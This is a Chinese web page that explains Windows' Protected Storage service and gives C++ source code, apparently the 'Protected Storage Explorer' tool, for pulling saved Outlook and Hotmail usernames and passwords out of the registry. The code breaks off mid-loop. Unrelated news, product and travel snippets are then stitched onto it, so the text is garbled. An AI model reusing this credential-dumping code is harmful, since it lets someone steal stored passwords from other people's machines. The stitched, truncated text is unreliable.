我们知道NT以后的系统中有一个这样的服务:Protected Storage。他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通过该服务来获取保存的账号信息。 源代码如下: /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// // // //Protected Storage Explorer // // By Hirosh // //www.hirosh.net // // // // // //No CopyRights- Feel Free to Cut & Paste // // // // // /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include #include "resource.h" #import "pstorec.dll" no_namespace har SavingFname[MAX_PATH]; HWND hwndlistview; BOOL iS9x=FALSE; typedef struct TOOUTDATA{ char POPuser[100]; char POPpass[100]; char POPserver[100]; } OOUTDATA; OOUTDATA OutlookData[50]; int oIndex=0; void EnumOutlookAccounts() { ZeroMemory(OutlookData,sizeof(OutlookData)); HKEY hkeyresult ,hkeyresult1; long l,i; char name[200],skey[200]; DWORD dw2; FILETIME f; lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 ); if(ERROR_SUCCESS != lResult) return ; i=0;l=0; BYTE Data[150]; BYTE Data1[150]; DWORD size; int j; j=0; DWORD type=REG_BINARY; while(l!=ERROR_NO_MORE_ITEMS){ dw2=200; l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f); lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); lstrcat(skey,"\\"); lstrcat(skey,name); RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult ); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size ) ==ERROR_SUCCESS) { lstrcpy(OutlookData[oIndex].POPuser,(char *)Data); ZeroMemory(Data,sizeof(Data)); lstrcpy(OutlookData[oIndex].POPserver,"Hotmail"); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS){ int totnopass=0; char mess[100]; for(int i=2;i
当地时间11月7日,丹麦广播电视台(DR)报道,世卫组织欧洲办事处主任汉斯出席了7日丹麦当局的新闻发布会。他感谢丹麦表现出开放的态度,并分享了北日德兰半岛的变异新冠肺炎病毒Cluster-5的有关...
B端产品的决策方是老板和管理层,但使用方是员工。两者需求的不一致使得B端产品的使用困难重重,这让设计人员除了要有业务梳理和产品设计能力外,还需要搞懂人心。 很多做B端或者从C端转入B端做产品的同学都...
飞利浦Alpha 指纹锁 家用智能锁全自动暗码锁推拉式防盗门电子锁价值:¥2280店肆:京东飞利浦电子锁旗舰店当即购置 智能锁固然进入中国市场已有20余年,但成长迟钝,直到近几年才迅速崛起。在应用场...
云南省,一个今生必去一次的地区!云南省的景色过多,又都太美丽的情况下,第一次去玩云南省,首先推荐云南大理!1. 历史名城——大理古城古都的岁月一直懒散闲暇,大约造物主到这儿也会把时钟的表针拨慢。我向往...
凯迪仕指纹锁回收瑞典FPC公司专用指纹收罗器,全球有135家品牌银行的几十万个终端网点在利用这种指纹收罗器来取代暗码,因为收罗器回收半导体活体指纹识别,所以只能通过人体体温加上配对指纹才气开启。凯...
10月29日晚,巴黎群众赶在封城前出城,导致本地交通出行比较严重阻塞。汽车鸣笛声此起彼落,法兰西岛地区交通堵塞道路总计抵达千米,全部都是会被大灯点亮。另有很多群众出门吃封城前的“最终一顿晚餐”。此...